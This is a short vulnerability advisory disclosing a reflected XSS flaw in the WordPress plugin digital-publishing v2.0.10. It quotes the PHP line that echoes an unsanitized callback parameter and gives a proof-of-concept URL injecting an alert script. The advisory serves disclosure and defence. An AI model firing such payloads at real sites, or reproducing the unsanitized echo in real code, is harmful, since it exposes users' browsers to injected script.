Advisory #: 865
Title: Reflected XSS in wordpress plugin digital-publishing v2.0.10
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/digital-publishing
Downloads: 417
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: digital-publishing
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./digital-publishing/classes/cms-modules/wordpress/dpsfa-cms-wordpress-ajax.php: 573: echo $_REQUEST['callback'] . "(" . json_encode($data) . ")"; The variable callback appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./digital-publishing/classes/cms-modules/wordpress/dpsfa-cms-wordpress-ajax.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/digital-publishing/classes/cms-modules/wordpress/dpsfa-cms-wordpress-ajax.php?callback="><script>alert(1);</script><"